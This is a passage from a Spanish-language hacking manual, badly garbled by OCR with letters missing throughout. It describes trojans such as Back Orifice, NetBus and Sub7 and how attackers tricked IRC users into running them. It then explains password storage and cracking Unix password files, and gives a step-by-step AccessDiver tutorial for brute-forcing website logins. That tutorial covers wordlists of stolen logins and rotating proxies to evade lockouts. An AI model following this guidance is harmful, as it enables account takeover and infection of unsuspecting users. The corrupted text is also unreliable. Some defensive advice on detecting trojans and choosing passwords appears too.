Los #ro$anos
Un troyano es un programa que se basa en a arqutectura cente-servdor. Por esta razn os
troyanos son una herramenta exceente para a admnstracn remota. Se es conoce tambn como
Cabaos de troya (Tro|an horses). Los troyanos son programas ocutos en otro tpo de archvos
tambn e|ecutabes que a ser actvados en una computadora por e usuaro de una red que utza
os protocoos TCP/IP (LAN o Internet), permte a atacante tomar contro de equpo desde otra PC.

Por o genera, un troyano se nstaa en segundo pano de manera que cuando a vctma e|ecuta e
prmer programa, ste se nstaa sn evantar sospechas. A veces, a os usuaros vctmzados es
aparece un mensa|e de error como un mensa|e de que fata una brera DLL para e|ecutar a
apcacn, sn embargo, tras bambanas sucede a nstaacn de troyano. Los troyanos no son vrus
ya que no poseen a capacdad de autorepcarse.

Un programa troyano consste en dos partes: un programa cente, medante e cua se puede
conectar a cuaquer equpo que tenga nstaada a otra parte, amada servdor. E servdor o que
hace es abrr un puerto de comuncacones, o que e permte a programa cente ponerse en
contacto con y acceder a todos os recursos de sstema. Adems, una vez e|ecutado e servdor,
queda nstaado en e sstema y se agrega una antrada a regstro de sstema de Wndows o hace
ntrusn en os archvos de nco (Wn.n).

@ac* Ori7ice4 Un troyano famoso (BO) que fue a causa de demasados probemas entre usuaros
ncautos en e IRC. Este troyano v a uz de da e prmero de agosto de 1998 por un grupo de
hackers renegados conocdos como The Cut Of The Dead Cow (cDc), organzacn fundada en 1984
en Lubbock, Texas, con motvo de congreso de hackers DEFCON 6 (a ms grande convencn anua)
http://www.defcon.org/. Fue pubcado |unto con su cdgo fuente en C++.
Cuando se descargaba e archvo comprmdo zp, dentro se encontraban os sguentes archvos:
Bo.txt
Pugn.txt
Boserve.exe <- e servdor autonstaabe de BO.
Bogu.exe <- este es e cente en modo nterfaz de usuaro
Bocent.exe <- cente en modo de texto
Boconfg.exe<- Utera de confguracn y pugn de servdor de BO
Met.exe <-Descompresor de archvos comprmdos con Freeze
Freeze.exe<- Compresor de archvos. Se descomprmen con met.exe
E boserve.exe es |ustamente e servdor de BO y no debamos e|ecutaro en nuestra mquna sno en
e de a vctma. So haba que souconar e probema de cmo envrseo a un pobre ncauto que o
descargara y e|ecutara. Aqu entra en |uego a ngenera soca, una tcnca que tratamos antes. Una
de as maneras ms popuares en as que se conseguan vctmas potencaes era entrar a os canaes
de chat de IRC (Internet Reay Chat) que tenan a caracterstca de posbtar a transferenca de
archvos por DCC (Drect Cent-to-Cent).
La dea era smpe, se renombraba e programa servdor con un nombre ms atractvo e nocente
como sexo.exe, fotosporno.exe, crack.exe, etc. Luego se conversaba con un pchn y o convencamos
de que tenamos una pecua porno, o sere de fotografas que se abran con un e|ecutabe (os
programas compresores como e WnZp o e WnRar poseen a opcn de crear archvos comprmdos
en forma de e|ecutabes) o o que ms xto tene, que es envaramos un programa crack de
passwords para hacer fu un software de paga. Dependendo de a habdad de verdugo o de a
nocenca de vctmado no era muy dfc envare e cabao de troya y que e abrera as puertas
gustoso.
152
Una vez que a vctma daba dobe cck a programa, aparentemente no suceda nada en a
computadora, pero o que en readad aconteca era que e programa servdor se e|ecutaba y abra e
trstemente cebre puerto 31337 que en eet speak sgnfca ELEET, "=.#2=". Leet speak es escrbr
paabras con nmeros. Como a parecer nada pasaba cuando se pusaba dobe sobre e programa, a
persona pensaba que e archvo estaba daado. Agunos troyanos anzan un mensa|e de breras DLL
no encontradas o ncusve pueden anzar agn programa pequeo.
Luego, mentras seguamos charando con e pchn cuya mquna ya estaba poseda por nosotros,
e|ecutbamos e programa cente de BO. Para esto necestabamos e dreccn IP de a vctma, pero
no era dfc consegura en os chats de IRC donde no se enmascaraban as IP's de os usuaros.
Una vez que se haba aberto a "puerta trasera" de nconscente, soo era cuestn de usar e
programa cente y de esa manera poder hacer cosas como acceder a sus caves, entre eas e
acceso teefnco a redes, o que nos posbtaba conectarnos a un proveedor de servcos de Internet
(ISP) sn pagar nada y utzar cuentas a|enas. Se poda navegar por drectoros, capturar pantaas,
eer documentos y todo o que pudera satsfacer nuestra curosdad.
Para ver os puertos usados por os troyanos: http://www.segurdadenared.org/es/ndex5esp.htm
Netbus4 Se nstaaba de manera smar a BO, pero a ser e|ecutado, abra e puerto 12345. Las
madades que permta e troyano eran varas, por e|empo abrr y cerrar a ectora de CD, nvertr os
botones de mouse, desactvar e tecado, admnstrar Wndows, borrar drectoros competos, envar
mensa|es de texto que aparecan de gope en a pantaa de pchn.
0ubO =0ub0even>. Otro troyano pesado. Se dstrbuye ba|o dferentes nombres a travs de grupos
de correo y notcas. A e|ecutarse se copa a s msmo en e drectoro de Wndows con e nombre
orgna de archvo desde e que fue e|ecutado. o como Server.exe, Rund16.d, SystemTrayIcon!.exe
o Wndows.exe. Estos nombres son dstntos en as dferentes versones de Sub7.
Sub7 descomprme un archvo DLL amado Watchng.d en e drectoro System de Wnxx (agunas
varantes no hacen esto). Posterormente se da de ata en e regstro de Wnxx en as caves Run y
Runservces para que se e|ecute durante cada arranque de sstema operatvo. E programa tambn
puede nstaarse en e sstema cambando os archvos Wn.n y System.n
Una de as versones de Sub7 deposta un programa de arranque, a veces amado Wndows.exe y o
regstra de modo que es e|ecutado cada vez que es anzado un programa e|ecutabe (.exe) en Wnxx.
De este modo, e backdoor se asegura que su copa est sempre en memora.
Todas as versones recentes de sub7, son sumnstradas con una utera de confguracn de
servdor que permte adaptar agunas de as capacdades de servdor como mtodos de nstaacn,
arranques personazados, mensa|es, etc.
S a tarea est actva e nvsbe en e admnstrador de tareas, busca conexones TCP/IP y, en caso de
estar estabecdas, se pone a escuchar os puertos TCP/IP esperando comandos de parte de
programa cente. La persona que tene a parte cente de troyano, toma e contro sobre e sstema
remoto donde est nstaada a parte servdor.
Las formas de recbr un troyanos son varadas, pero una de as ms comunes es por abrr correos
eectrncos de gente extraa. Tambn se pueden recbr troyanos a ba|ar apcacones de web
magnas o desde programas P2P. Cdgos macosos que aprovechan bugs de ActveX en Internet
Exporer en certas pgnas pueden ser fuentes de contago.
Para evtar a vsta de tan nocvos programas, tenemos que tener actvo y actuazado nuestro
antvrus. Como detector y mpador de troyanos, una exceente herramenta de paga es "The
Ceaner" que se puede descargar desde http://www.moosoft.com/TheCeaner/TheCeaner
153
Como ya conocemos e tema de puertos y TCP, podemos utzar e comando
~$ netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:2049 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:7878 200.42.143.33:80 LISTEN
tcp 0 0 212.40.120.80:25 0.0.0.0:* LISTEN
En a prmera coumna, proto, aparecen os tpos de conexn, TCP y UDP son os servcos que que
utza Internet para estabecer a comuncacn. La coumna Loca Address nos dce nuestra dreccn
IP, que en este caso es 212.40.120.80 de cara a Internet, y 127.0.0.1 como dreccn oca (a
dreccn que tene a mquna). En a sguente coumna, Foregn Address se encuentra a dreccn IP
y e puerto de a mquna con a que estamos mantenendo a comuncacn. En este caso, a
dreccn IP 200.42.143.33 corresponde a www.carn.com y e puerto 80 corresponde a servco HTTP
de servdor web.
En a coumna oca address es donde tenemos que mrar os puertos que tenemos abertos. Aqu
vemos e puerto 7878 en estado "Lstenng" que ben podra ser un backdoor aberto por un troyano
en espera de contactarse con e cente remoto. De todos modos debemos tener en cuenta e tpo de
software que estamos utzando, que pueden abrr certos puertos no convenconaes y no ser en
readad troyanos macosos.
De msmo modo podemos usar Tenet e ntentar conectarnos con e puerto 12345. s aparece una
cadena es que e puerto se encuentra aberto y tenemos e troyano actvo. Un anss de nuestro
equpo debe ncur e regstro de Wndows en busca de caves extraas. Un ugar para buscar sera:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
En e caso de NetBus encontraramos e programa Patch.exe. De todos modos, os buenos antvrus
detectaran todos os troyanos, por o que nsstmos que deben estar actuazados.
Prevenci'n
En casos de correo eectrnco, o recomendabe es no abrr nngn archvo ad|unto (attachments)
que provenga de fuentes desconocdas. Aunque hay que tomar en cuenta que hay conocdos que nos
pueden envar uno a modo de broma. Tamben puede descargarse a dsco y anazaro con un
antvrus como e Kaspersky (de paga) o e Avast! (gratuto). S e archvo ad|unto vene comprmdo
en zp o en rar, debemos asegurarnos que nuestro antvrus tene a capacdad de escudrar dentro
de archvo empaquetado. Por precaucn, es convenente, s utzamos Outook o Outook express
como centes de correo, desactvar a opcn "descargar automtcamente e mensa|e" a vero en e
pane de vsta preva. esto se hace en e men Herramentas - Opcones, pestaa eer, ya que agunos
vrus y troyanos pueden actvarse con soo abrr e correo.
En e IRC, nunca debemos aceptar envos por DCC de nnguna persona. Y s esa persona es conocda,
debemos tener a certeza de que e archvo provene efectvamente de esa persona y que no se trata
de agn vrus de os que se autoenvan.
En cuanto a os navegadores, requermos tener sempre a tma versn y sus correspondentes
parches de segurdad y cuando ba|amos agn programa de fuente dudosa, guardaro en dsco y
anazaro con e antvrus.
154
Contrase%as
Dna Entroducci'n
Una contrasea se descrbe me|or como una herramenta de autentcacn. Se empean contraseas
para asegurar e acceso ega y apropado so a aqueas personas que tenen a autordad o e
permso para ver os datos. Se requere una contrasea en muchos ugares: se requere una para
acceder nuestra bande|a de entrada, nos exgen una contrasea a entrar a una pgna web para
checar nuestro correo, y en agunas organzacones, necestamos tecear una contrasea para
ncazar e sstema. En todos os ugares se empea a combnacn Nombre de usuaro (Username) y
Contrasea (Password) para autentcar a usuaro.
Se empea e nombre de usuaro (Username) para dentfcar a usuaro y a contrasea para
autentcaro y para cada nombre de usuaro hay una nca contrasea. Tomemos e e|empo de a
csca ave y a cerradura, para cada cerradura exste una nca ave para abrra y entrar. En ste
e|empo, a cerradura acta como e Nombre de usuaro y a contrasea sera a ave. De gua modo
os contraseas son tan mportantes como a ave de nuestra casa.
Cas todos os das escuchamos habar de robo de contraseas e rrupcones en computadoras. A
veces e usuaro escoge una contrasea tan pobre que es fcmente advnada por os hackers. Hay
certas pautas que debemos tener presente a eegr una contrasea:
1. Nunca debemos usar como contrasea e msmo dato que utzamos como su nombre de
usuaro. Agunas pgnas poseen un cdgo que prevene estos casos.
2. Nunca escoger como contrasea nuestro propo nombre, fecha de nacmento, nombre de a
pare|a, de nuestra mascota, de os h|os. S un hacker va a probar a advnar una contrasea,
esos seran os prmeros.
3. Agunas personas son tan perezosas que usan como contrasea "Enter" (retorno de carro)
4. Escoger una paabra que no est en e dcconaro y que contenga tanto nmeros como etras,
y s es posbe, utzar mnscuas y mayscuas, ncuyendo smboos como (#, $,%, ), etc,
ya que soo pueden ser craqueados con un Password Cracker de fuerza bruta o cua toma
demasado tempo para resover.
Se puede decr que escoger una contrasea db es responsabe por e gran nmero de ncursones
por hackers, pero as personas msmas se converten en a cadena ms db en e proceso entero de
autentcacn.
E fenmeno de a contrasea db no es un mto n ago que haya desaparecdo con e tempo. Sgue
estando muy presente en a mayora de os sstemas y actuamente se consdera como una de as
amenazas ms seras a a segurdad en nternet.
La mayora de as personas normamente empea maas contraseas, y aqueos que empean
contraseas exceentes no pueden recordaras y entonces deben anotaras en un pedazo de pape y
o pegan en su montor. Los me|ores ugares donde podramos encontrar as contraseas de as
personas seran ba|o e tecado, detrs de CPU e ncuso a os ados de montor. Agunas personas
tenen probemas para recordar e gran nmero de contraseas cuando empea varos servcos y esto
da como resutado usar a msma contrasea por todas partes. As que con soo saber una nca
contrasea se abrran as puertas de un usuaro perezoso.
Y para agregar ms nsuto a agravo, os admnstradores de sstemas que se encuentran muy
atareados, a veces seecconan contraseas que fcmente se pueden advnar: admn, sysop, ove,
wzard, beammeupscotty, money, son de as ms comunes. Hay veces que coocan una contrasea
vaca. Las contraseas por defaut es otorgan a os hackers un acceso fc a as entraas de
sstema. Muchos hackers usan prmero as contraseas por defaut para posterormente ntentar
advnar as contraseas recurrendo a mtodos ms sofstcados.
155
Cuando un hacker macoso ogra penetrar as muraas de sstema, podr hacer uso de expots y
vunerabdades para ganar prvego de root o acceso como admnstrador. Es en este punto en que
un hacker mantenconado se vueve atamente pegroso.
La Autenticaci'n
Cuando estamos creando una nueva cuenta en agn servco como bogs, foros o pgnas
especazadas, sempre se pde un username y una contrasea. E nombre de usuaro se guarda
prncpamente en texto pano (pan text), pero a contrasea que teceamos se guardar sempre en
forma encrptada. La contrasea, atravesa por un agortmo defndo y se encrpta para ser guardada
en e dsco duro o en e servdor web. De este modo, a prxma vez que queramos entrar a nuestra
cuenta e ntroducmos a contrasea para autentcarnos, os caracteres que vamos teceando se
pasan a travs de msmo agortmo y se compara con e vaor guardado prevamente. S ambos
concden, seremos autentcados, de otro modo, a autentcacn fracasa.
E agortmo que se empea para encrptar a contrasea es un agortmo de un soo sentdo, esto
sgnfca que s nosotros pasamos a contrasea encrptada a travs de agortmo nverso, no
conseguremos a contrasea en texto pano orgna.
Tomemos un e|empo para hacer esto ms caro: dgamos que nuestra contrasea en texto pano es
AOL123. A teceara se pasa a travs de agortmo para ser guardado en un archvo especa como
012112AGT, que es a forma encrptada. Ahora ben, s egaramos a consegur a contrasea
encrptada y sabemos cu es e agortmo que encrpta AOL123, no podremos nvertr e proceso para
obtener AOL123 a partr de 012112AGT.
Cuando teceamos nuestra contrasea, a computadora no a despega en texto pano, sno que so
muestra asterscos, por e|empo: * * * * * * * * con a fnadad de que s aguen est vendo por
encma de nuestro hombro, no pueda averguar a contrasea tan facmente. La ca|a de texto se ha
programado de esa manera. En a mayora de as formas de Unx uno n squera veremos os
asterscos y e cursor no se mover, para que nade que haga un surfeo de hombro averge nuestra
contrasea, n se d cuenta de a ongtud de a msma.
ontraseSa ensombrecida
(Shadow Password) Normamente, a contrasea de cada usuaro de Lnux se guarda y encrpta en e
archvo 2etc2&assGd. Este archvo debe ser egbe por todos os usuaros para que certas funcones
de sstema operen correctamente. Sn embargo, esto sgnfca que copas de as contraseas
encrptadas de os usuaros se obtendran fcmente y hace posbe e|ecutar un programa
automatzado buscador de contraseas (Crack) contra eas. Las contraseas ensombrecdas, por otro
ado, guardan as contraseas encrptadas en un archvo muy protegdo separado y hacen mucho
ms dfc crackear as contraseas.
La dferenca entre una contrasea ensombrecda y una contrasea encrptada es que sta tma es
a contrasea rea soo que con cambos nternos y puede ser reveada con un rompedor de
contraseas. La contrasea ensombrecda tene como fnadad ocutar a contrasea encrptada en
agn ugar dferente a drectoro etc2.
ra-ueando Arc+ivos de ontraseSas de Dnix2Linux
Se consdera que Unx es e sstema operatvo ms seguro. E mtodo utzado para amacenar
contraseas es defntvamente ms seguro en sstemas Unx. E archvo de contraseas "passwd"
tene muchas neas con a sguente estructura bsca:
gerryson:qOZsX6df4BI:2:3:Gerryson:/home/gerry:/bn/bash
La nea de ac arrba puede ser anazada como sgue:
156
NombreUsuario: gerryson
Contrasea Encriptada: qOZsX6df4BI
NmeroUsuario: 2
NmeroGrupo: 3
NombreReal: Gerryson
DirectorioHome: /home/gerry
Tipo de Shell: /bin/bash
Como e agortmo de cdgo esta en forma que no puede descfrarse, puede requerrse de un
rompedor de contraseas para desencrptara. La nea de e|empo de archvo passwd dado aqu fue
una nea tomada de un archvo de contrasea no ensombrecdo (unshadowed.) Ahora ben, pudera
ser que en ugar de a nea de arrba tuveramos que enfrentarnos con ago como o de aba|o:
gerryson:*:2:3:Gerryson:/home/gerry:/bn/bash
La nea de arrba ha sdo tomada de un archvo de contraseas ensombrecdo (Shadowed.) En un
archvo de ste tpo o que sucede es que e campo contrasea es reempazado por un 'I' (E '*' es
amado token o smboo desgnador). Tan es as, que a contrasea ocuta en cdgo no se pone de
manfesto en e archvo de contraseas y a sta de contraseas encrptadas se guardan en un
archvo dferente que no es egbe para os usuaros correntes.
En agunos sstemas e '*' que reempaza as contraseas en archvos de contrasea ensombrecdos
son tambn '$' o '#' an e msmo NombreUsuaro.
De ta modo que antes de comenzar a craquear e archvo de contraseas prmero necestamos
desensombrecer (unshadow) as contraseas. Podemos qutar a sombra de as contraseas
e|ecutando uteras programadas en C que se pueden descargar fcmente de Internet.
Ahora, una vez que e archvo de contraseas ha sdo desensombrecdo podemos usar ya sea |ack
The Rpper o Cracker |ack para reventar as contraseas. Cracker |ack es un programa cracker para
archvos de contraseas Unx utzado en DOS que so puede reazar craqueos basados en e uso de
dcconaros. Debemos asegurarnos de que e archvo de contraseas que tratamos de craquear no se
encuentre ensombrecdo, debdo a que estos crackeadores no pueden descfrar este tpo de archvos.
Tambn necestamos un stado de dcconaro o un Wordst (stado de paabras.) Mentras ms
goba sea e wordst ms probabdad habr de poder reventar e archvo de contraseas. E tema de
os Password Crackers se revsar en e sguente apartado.
Se pueden obtener ambos programas crackers de un montn de ugares:
http://astaavsta.box.sk
http://www.antcode.com
http://www.hackerscub.com
157
Pass&ord Crac!ing
E mtodo ms comn para craquear contraseas es advnando, aunque requere de mucha suerte, a
veces puede tener xto. Para empezar a advnar a contrasea, necestamos recoger todos os tpos
de nformacn sobre a vctma prmero. Es aqu donde se puede empear a ngenera soca, pero
debemos tener ampa experenca para poder apcara con xto. Sn embargo, cuando esto no es
posbe, e mtodo ms comn y extoso de crackeo de contraseas es e uso precsamente, de un
Crack de contraseas, me|or conocdo como password cracker.
Los rompedores, averguadores o descfradores de contraseas (en ngs passAord crackers) son
vrtuamente cuaquer programa que pueda desencrptar una contrasea o tenga a capacdad de
deshabtar a proteccn proveda por ea. Exsten programas password cracker que se ba|an de
Internet y que son egaes. Se usan para revear una contrasea ovdada con a que se proteg un
archvo comprmdo en Zp o Rar. En webs especazadas pueden encontrarse password crackers para
conocer a contrasea de documentos protegdos de MS Offce, a mayora gratutos
!orma de Actuar
La mayora de os password crackers utzan una tcnca denomnada anss comparatvo para
poder dar con a contrasea. sta tcnca funcona debdo a un factor muy humano: a pereza. Los
usuaros tenden a gnorar a necesdad de usar contraseas fuertes.
Los hay de dos tpos: Los basados en Fuerza bruta y en Dcconaros. Los basados en dcconaros
prueban todas as contraseas de una sta de paabras predefndas de un dcconaro para romper a
contrasea. stos son ms rpdos pero a mayora de as veces no tenen xto y no devueven a
contrasea. Esto se debe a que no prueban todas as combnacones de caves posbes, son
ncapaces de craquear aqueas contraseas que poseen smboos o nmeros en su estructura.
Los password crackers de Fuerza bruta prueban todas as combnacones posbes de todas as tecas
que puedan encontrarse en un tecado comn (smboos, nmeros y etras, tanto mnscuas y como
mayscuas.) Este tpo de password cracker tene una mayor tasa de xtos, sn embargo toman ms
tempo para romper a contrasea. Esto es debdo a que consderan todas as posbes caves, por o
que son ms efcaces. Veamos como es que traba|an.
Puesto que as contraseas son encrptadas por un agortmo de un soo sentdo, os Crackers no
extraen a contrasea de archvo sno que a someten a una combnacn de etras, os encrpta
pasando os caracteres a travs de agortmo orgna y compara este vaor con e vaor encrptado
amacenado. S estos dos concuerdan, entonces e password cracker exhbe a contrasea en texto
pano.
Ata-ue .eb
Mes de stos en Internet, sobre todo os de pago por membresa, requeren para entrar a ver su
contendo de un ogn, es decr, ntroducr un nombre de usuaro y una contrasea (username y
password). Agunos de estos stos son fces de penetrar debdo a una segurdad muy pobre. Sn
embargo, como no es factbe probar mes de usernames y passwords para ver cuaes concden con
os de una cuenta, o me|or es usar un programa que o haga por nosotros.
En certas webs exste una proteccn para evtar a entrada a un atacante cuando ste repte
demasados ogns, pero este tpo de proteccn puede ser evtada utzando proxes. Exsten
programas que nos permten rotar os proxes para que a pgna no sospeche nada, ya que se hacen
decenas de conexones a a vez. Sn embargo, para utzar software de esta naturaeza, debemos
tener preferentemente una conexn de banda ancha.
158
Terminolog;a del mundillo de los crac*ers
.ordlist: Es una sta de paabras en formato de texto pano (pan text). Los passwords crackers
cargan estos archvos para poder empear os dstntos nombres de usuaro y contraseas a a hora
de anzar ogns a stos web. No se mtan soamente a webs, sno tambn a programas que estn
protegdos con contraseas. E secreto de un expermentado cracker es precsamente su wordst.
Reguarmente a r construyendo mentras ms transte en este mundo y vaya acumuando
experenca.
ombo !ile: Es un archvo de wordst pero consttudo por dos coumnas. En una coumna se
encuentra e nombre de posbe usuaro o username y en a otra a contrasea, ambas paabras
separadas por dos puntos (:).
@ot: Se e conoce as a cada conexn ndependente que se generar en e sto. Es decr, s se
confgura un programa rompedor de contraseas para empear 30 bots, sgnfca que generarn 30
conexones smutneas con e sto. Cada conexn anzar un ogn.
!a*e Be&l): Es una respuesta fasa que normamente devueve e servdor cuando se percata de que
e ogn no es autntco. Esto se puede soventar usando proxes adecuadamente.
.ord <ani&ulation: Es a manpuacn de una wordst de manera que podamos modfcar as
paabras con pautas estabecdas por uno msmo.
.ea* Login: Es a combnacn de Username/Password rea que queremos obtener a a hora de
crackear un sto.
Lo prmero que se necesta es un programa como e AccessDiver o e Joldene)e. Aunque ambos
tenen ata efectvdad, e ms recomendabe es e prmero en vrtud de su facdad de uso.
AccessDiver
Tras nstaar e software, o e|ecutamos y posterormente eegremos en e menu "My Sk" a opcn
"Expert". Con esta accn se actvarn varas opcones extra. Muchas de estas opcones no as
usaremos a prmera vez. Se rn conocendo conforme se avance en e conocmento de uso de
programa. Pueden buscarse tutoraes en Internet a tempo que uno se famarza con a ayuda.
Despus deberemos consegur una wordst y una sta de proxes. Exsten centos de de estas stas
por todo nternet para ser ba|adas por cuaquer persona. Debemos acarar que cuanto menos hayan
sdo usadas, ms probabdad tendremos de poder penetrar e sto. Es por esta razn que muchas
veces no se tene xto a prmera vez.
Para conseguir una .ordlist: Para os prmeros ntentos es recomendabe descargar e software
ComboMana que es una herramenta que hace una bsqueda de wordsts en a red. Tene a
posbdad de ba|ar paabras de stos ya crackeados, que son de gran utdad ya que os cracker que
han obtendo esos ogns puderon haber utzado una wordst fresca y actuazada. E ComboMana
grabar os ogns en un archvo de texto pano dentro de drectoro donde resde e archvo
e|ecutabe de programa. ste archvo podr ser cargado por e AccessDver. Para mportar e wordst,
ndcaremos a AccessDver que o cargue desde e men "Dctonary" o "Wordst", egendo prmero
a opcn "Currenty Used" y despus "Load a Combo Fe". E programa AccessDver carece de una
pgna web ofca pero puede encontrarse en varadas pgnas de crackng.
Para conseguir una lista de &roxies: Exsten dversos stos en a web que contenen stados de
proxes annmos, o sea, proxes que no revean nuestra dreccn IP. Debemos recordar que a
mayora de os proxes hacen uso de os puertos 8080, 3128 o e 80. Se puede hacer una bsqueda
en Googe con a frase "Anonymous proxy st" o hacer uso de un programa que nos consga os
proxes. Para esto podemos usar e software GeoWhere. Esta herramenta acta de forma parecda a
ComboMana cuando busca wordsts. GeoWhere busca en a red pgnas que contengan stados de
proxes y va construyendo una sta que nos ser de utdad.
om&robaci'n de Proxies: Hay que tomar en cuenta que no todos os proxes stados sern de
utdad. Por un ado, no queremos que nuestra dreccn IP sea reveada, as como tampoco nos
srven proxes sumamente entos. Para evtar estos nconvenentes se requere comprobar cada proxy
159
de a uno por uno. Para no tener que hacero manuamente, AccessDver cuenta con un escudrador y
para aprovecharo, debemos hacer cck en a pestaa "Proxy" y uego en "Proxy Anayzer".
Importamos e stado de proxes. Antes de comenzar a hacer a comprobacn, pusamos en a
pestaa "Parameters" en a parte nferor de a pantaa y marcamos a casa "Auto-deeton of bad
proxes after a test competon". Con esto emnaremos aqueos proxes que no funconan.
Posterormente pusamos en "Speed/Accuracy Test" para ncar a verfcacn. E tempo que tarda en
efectuarse a comprobacn depender en mucho de o arga que sea a sta.
Para ver s reamente os proxes funconaes en verdad ocutan nuestra dreccn IP, debemos usar a
comprobacn de anonmato de AccessDver. Para esto debemos pusar en a opcn "Confdentaty
tester". Podremos ver que os proxes se cataogan por nve dependendo de grado de anonmato
que proveen. Aqueos que estn por deba|o de nve 3 o que dgan "NO", debern ser envados a
ovdo.
Despues de hacer a purga de proxes, podemos utzaros en nuestra sta defntva. Hacemos cck
con e botn derecho en "Seect a" y uego repetr a operacn, pero esta vez seecconando "Add
seected proxes n your proxy st". Podermos hacer cck en "My st" para ver e stado.
Botar Proxies: sta opcn de AccessDver nos permte confgurar cuntos ntentos de acceso se
efectuarn antes de cambar de proxy. sta cfra debe estabecerse tenendo en cuenta e nve de
segurdad de sto, e cua debe sar a a a uz a reazar e prmer ntento de crackeo. S ben a
veocdad se ncrementar a ntentar ms ogns con un msmo proxy, en a mayora de os casos, a
proteccn dentro de a pgna web no nos permtr reazar ms de dez ntentos segudos.
Otras O&ciones de Prox)
Prox) 0*i&&ing: Permte omtr un proxy cuando uno no funcona como queremos, ya sea porque e
servdor se cae o porque detecta que os ogns no son genunos.
+ange Prox) On Errors: Permte omtr un proxy cuando ste responde con un error debdo a un
probema nterno.
+ange Prox) On !a*e Be&lies: Se omte un proxy cuando e sto emte una respuesta fasa. Esto
ocurre cuando e sto detecta que e ntento de ogn es en readad un crackng attempt.
+ange Prox) On Bedirections: Se camba e proxy cuando e sto nos redrge a otra parte. Esto
puede deberse a un error de proxy o a un Fake Repy.
+ange Prox) On 0&eci7ic ,T<L ?e)Gord=s>: sta opcn, que no se utza habtuamente,
permte crackear ogns HTML (ver ms adeante)
Betr) T+e Dser Pass Again A7ter 0*i&&ing: Opcn que nos permte rententar una determnada
combnacn de usuaro y contrasea uego de haber fracasado prevamente. Dependendo de caso,
puede recomendarse de|ar marcada a casa. So de sta manera podemos dar por seguro haber
agotado una wordst, pero as msmo y dependendo de sto, e proceso puede ser verdaderamente
ento.
Las opcones en Access/Settngs se de|an marcadas.
Login 0tandard ) ,T<L
Exsten dos cases de ogns para acceder a stos web, sobre todo os que son de paga. Cuaquera de
os tpos depende prncpamente de a manera en que fue confgurado cuando se construy e sto
web. Los hay basados en Htaccess (standard) y os HTML. Ambos ogns asumen que quen quere
acceder a sto es un abonado que paga por e servco prestado. Los prmeros son aqueos en os
que cuando deseamos entrar en una seccn restrngda de sto nos aparece una ventana de
sstema operatvo a modo de ventana emergente (o pop-up) soctndonos e nombre de usuaro y a
contrasea. Por otra parte, os ogns basados en HTML son aqueos en que os campos de usuaro y
contrasea se encuentran dentro de a pgna msma. De cuaquer manera, a mayora de as
pgnas que basan su ogn en HTML son gratutos, mentras que muchas pgnas pornogrfcas
tenen un ogn standard.
160
Por o reguar, os stos que tenen un ogn standard son ms fces y rpdos de crackear en vrtud
de que sempre responden con una pgna de error LR3
31
. Los stos con ogn HTML requeren de
certa maa por parte de cracker debdo a que e software carece de medos para detectar s tuvo
xto en penetrar e sto o no (en ambos casos a respuesta es una pgna HTML).
Para resover sta cuestn, es necesaro confgurar una paabra cave o keyword y se hace
ntentando entrar manuamente a sto web teceando un username y una cave cuaquera. En a
pgna de respuesta nos aparecer una certa paabra o frase que nos ser de utdad. Por e|empo
podremos obtener a frase "Contrasea nvda" o "Invad password". A estabecer esta paabra en
e AccessDver, a recbr a pgna de respuesta a a petcn de ogn, e programa comprobar s en
a pgna est contenda esta paabra y detectar que se trat de un ogn ncorrecto. S no aparece,
sabr que d en e punto.
Para evar a cabo o anteror, pusamos en "Settngs" y uego en "HTML Settngs" donde veremos un
campo donde podremos tecear as paabras, entre smboos de "menor y mayor que" (<>),
correspondentes a sto banco. La opcn "Fndng a Keyword means we found a weak ogn" sgnfca
que cuando encuentre a paabra cave a tome como un ogn vdo. Esto no funcona n srve en a
mayora de os casos dado que desconocemos cues son as paabras cave contendas en a pgna
de benvenda cuando ngresamos con un ogn vdo.
Tambn podemos hacer cck en "Autodetect de POST data" para especfcar en e AccessDver os
datos de formuaro.
Hacemos cck en standar y aparecer una pantaa en a cua se descrbe e estado de cada uno de
os bots, os proxes utzados por cada uno y os usuaros y contraseas sendo probados en os
ogns. Hay que prestar atencn a a coumna "Last response receved". S a mayora son "401
-Authorzaton requred", todo va ben, puesto que e usuaro y a contrasea son nvdos. Un error
comn es "Bot reaunched:1600" y sgnfca que e tempo de espera para a respuesta se agot (tme
out). Esto ocurre por dos razones, una es que e proxy no est funconando como debera o que quz
a cantdad de bots son excesvos y a conexn no puede soportaros todos. S se recben muchos de
estos errores probaremos a dsmnur a cantdad de bots. S esta accn no da resutado, deberemos
escanear otra vez os proxes porque ta vez agunos no srvan. Hay que tener pacenca y prctca. A
dar con un ogn autntco, aparecer en un recuadro amaro en a parte nferor de a pantaa.
laves de Autenticaci'n ,TTP
Exsten pgnas que se protegen por contraseas HTTP. En estas aparecen dos campos, uno pde e
nombre de usuaro y e otro, a contrasea y son de o ms comn en a red. Desde esta pantaa se
pueden hacer cosas para averguar caves debdo a que su segurdad, a a hora de transmtr datos,
es muy ba|a.
E protocoo bsco de autentcacn http no traba|a con as contraseas en texto pano, sno que as
codfca con un mtodo amado baseNL, que en readad tambn es bastante db. E proceso es
smpe y reversbe ya que una msma paabra produce e msmo resutado cuando se codfca. Exsten
programas especaes que srven para codfcar y decodfcar as contraseas stas.
Es&eci7icaciones <E<E
Las especfcacones MIME (Mutpurpose Internet Ma Extensons: Extensones Mutpropsto de
Correo Internet) defnen e mecansmo para codfcar nformacn bnara cuando se transmten por
correo, taes como archvos ad|untos. Esta nformacn es codfcada con e formato base64.
31 401 es un cdigo de estado que indica a un usuario que no est autorizado a acceder a una pgina. 401 y otros cdigos de estado
forman parte del protocolo HTTP de WWW, escrito en 1992 por el inventor del Web, Tim Berners-Lee, que tom muchos de dichos cdigos
de los correspondientes al FTP (File Transfer Protocol).
161
Las MIME son un con|unto de especfcacones Internet de bre dstrbucn que permten tanto e
ntercambo de texto escrto en engua|es con dferentes |uegos de caracteres, como e ntercambo
de archvos de dversos formatos entre computadoras y apcacones que sgan os estndares de
correo Internet. Las especfcacones MIME estn recogdas en numerosos RFCs, entre os que se
encuentran os RFC1521 y 1848.
Base64 converte os archvos bnaros en texto. En e archvo creado y que ha sdo capturado con e
snffer en a red oca se vern una rstra de etras y nmeros aparentemente ncomprensbes. Aqu
